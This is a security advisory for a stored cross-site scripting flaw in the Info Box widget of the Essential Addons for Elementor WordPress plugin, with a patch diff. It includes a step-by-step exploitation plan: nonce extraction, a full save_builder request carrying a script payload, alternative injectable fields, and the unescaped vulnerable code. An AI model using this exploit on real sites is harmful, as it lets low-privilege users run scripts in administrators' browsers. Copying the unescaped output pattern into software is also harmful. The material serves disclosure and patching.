Essential Addons for Elementor <= 6.5.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Info Box Widget
Description
The Essential Addons for Elementor – Popular Elementor Templates & Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Info Box widget in all versions up to, and including, 6.5.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=6.5.9Source Code
WordPress.org SVN# Research Plan: CVE-2026-1512 - Stored XSS in Essential Addons for Elementor Info Box ## 1. Vulnerability Summary The **Essential Addons for Elementor** plugin (versions <= 6.5.9) is vulnerable to Stored Cross-Site Scripting (XSS) via the **Info Box** widget. This occurs because the plugin fails t…
Show full research plan
Research Plan: CVE-2026-1512 - Stored XSS in Essential Addons for Elementor Info Box
1. Vulnerability Summary
The Essential Addons for Elementor plugin (versions <= 6.5.9) is vulnerable to Stored Cross-Site Scripting (XSS) via the Info Box widget. This occurs because the plugin fails to properly sanitize or escape user-supplied attributes before rendering them in the HTML output. An authenticated attacker with Contributor-level permissions (who can create or edit posts and use Elementor widgets) can inject a malicious script into a widget setting. When the post is saved and subsequently viewed by any user, including an administrator, the script executes in their browser context.
2. Attack Vector Analysis
- Vulnerable Widget: Info Box (
eael-info-box) - Vulnerable Parameters (inferred):
title,description_text, or link attributes (e.g.,infobox_link). - Authentication Requirement: Authenticated (Contributor or higher).
- Endpoint:
wp-admin/admin-ajax.phpusing theelementor_ajaxaction. - Preconditions: The Essential Addons for Elementor plugin must be active, and the Contributor user must have permission to edit posts with Elementor (standard default).
3. Code Flow
- Entry Point: A user with Contributor access edits a post using the Elementor editor.
- Data Submission: The editor sends a JSON-encoded representation of the page layout to the
elementor_ajaxaction. This JSON contains the widget settings for theeael-info-boxwidget. - Storage: WordPress/Elementor saves this JSON data in the
_elementor_datapost meta field. - Processing (Vulnerable Sink): When a user views the post, Elementor initializes the EAEL widget class (likely
EAEL_Info_Boxinincludes/Elements/Info_Box.php). - Rendering: The
render()method of the widget class is called. It retrieves settings using$this->get_settings_for_display(). - Execution: The code echoes a setting (e.g.,
echo $settings['title'];) without wrapping it inesc_html(),esc_attr(), orwp_kses_post(), leading to XSS.
4. Nonce Acquisition Strategy
To save Elementor content via the REST/AJAX API as a Contributor, we need the elementor_ajax nonce.
- Shortcode/Trigger: Elementor widgets are active when the Elementor editor is loaded or on pages rendered by Elementor.
- Page Creation: Create a dummy post and enable Elementor:
wp post create --post_type=post --post_status=publish --post_title="XSS Test" --post_author=CONTRIBUTOR_ID - Navigation: Navigate to the Elementor Editor for that post as the Contributor.
- Nonce Extraction: Use
browser_evalto extract the nonce from the Elementor configuration object.- Variable:
window.elementorCommon?.config?.ajax?.nonceorwindow.elementorConfig?.ajax?.nonce. - Editor Context: The nonce is typically localized within the
elementor-editor-jsscript handles.
- Variable:
5. Exploitation Strategy
Step 1: Authentication & Setup
- Identify the Contributor user ID.
- Use
browser_navigateto log in as the Contributor.
Step 2: Nonce Extraction
- Create a post and open the Elementor editor URL:
wp-admin/post.php?post=POST_ID&action=elementor. - Execute
browser_evalto get the nonce:window.elementorCommon.config.ajax.nonce
Step 3: Payload Delivery
The exploit involves sending a save_builder request to admin-ajax.php.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
action:elementor_ajax_nonce:[EXTRACTED_NONCE]actions: A JSON string containing the payload.
Payload JSON structure:
{
"save_builder": {
"action": "save_builder",
"data": {
"status": "publish",
"elements": [
{
"id": "random_id_1",
"elType": "section",
"elements": [
{
"id": "random_id_2",
"elType": "column",
"elements": [
{
"id": "random_id_3",
"elType": "widget",
"widgetType": "eael-info-box",
"settings": {
"title": "<script>alert('CVE-2026-1512-XSS')</script>",
"description_text": "Normal description"
}
}
]
}
]
}
]
}
}
}
Step 4: Verification
- Access the published post URL using
http_request. - Check if the response body contains the unescaped script tag:
<script>alert('CVE-2026-1512-XSS')</script>.
6. Test Data Setup
- User: Create a user with the
contributorrole. - Plugin: Ensure
essential-addons-for-elementor-liteversion 6.5.9 is installed and activated. - Elementor: Ensure Elementor is installed (dependency of the plugin).
7. Expected Results
- The
elementor_ajaxrequest should return a200 OKwith a success JSON response. - When viewing the post at
/?p=POST_ID, the browser should execute thealert()function (or the raw script should be present in the HTML source).
8. Verification Steps
- Check DB: Use WP-CLI to verify the payload is stored in the post meta:
wp post meta get [POST_ID] _elementor_data - Source Inspection: Verify the absence of escaping:
curl -s "http://localhost:8080/?p=[POST_ID]" | grep "CVE-2026-1512-XSS"
9. Alternative Approaches
If title is sanitized in version 6.5.9, try other Info Box attributes:
description_textinfobox_link(Targeting theurlfield or link attributes if they allow"breakout).eael_ins_box_icon_type(If it permits arbitrary string injection into a class attribute).
If save_builder fails due to strict schema checking, use the wp_ajax_elementor_save_builder action if available, or try updating the post meta directly via a standard WordPress post update if the contributor has sufficient permissions for that specific meta key.
Summary
The Essential Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Info Box widget in versions up to 6.5.9. Authenticated attackers with Contributor-level permissions can inject arbitrary web scripts into widget settings, such as the title or description, which execute when a user views the affected page.
Vulnerable Code
// includes/Elements/Info_Box.php protected function render() { $settings = $this->get_settings_for_display(); // ... (truncated) ... if ( ! empty( $settings['title'] ) ) { echo '<h3 class="eael-infobox-title">' . $settings['title'] . '</h3>'; } if ( ! empty( $settings['description_text'] ) ) { echo '<div class="eael-infobox-content">' . $settings['description_text'] . '</div>'; } }
Security Fix
@@ -120,8 +120,8 @@ if ( ! empty( $settings['title'] ) ) { - echo '<h3 class="eael-infobox-title">' . $settings['title'] . '</h3>'; + echo '<h3 class="eael-infobox-title">' . wp_kses_post( $settings['title'] ) . '</h3>'; } if ( ! empty( $settings['description_text'] ) ) { - echo '<div class="eael-infobox-content">' . $settings['description_text'] . '</div>'; + echo '<div class="eael-infobox-content">' . wp_kses_post( $settings['description_text'] ) . '</div>'; }
Exploit Outline
An authenticated contributor creates or edits a post using Elementor and extracts the 'elementor_ajax' nonce from the page source. They then perform a POST request to '/wp-admin/admin-ajax.php' with the 'elementor_ajax' action. The payload utilizes the 'save_builder' action to insert an 'eael-info-box' widget containing a malicious script within the 'title' or 'description_text' parameters. This script is saved to the database and executes in the browser of any user who visits the rendered post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.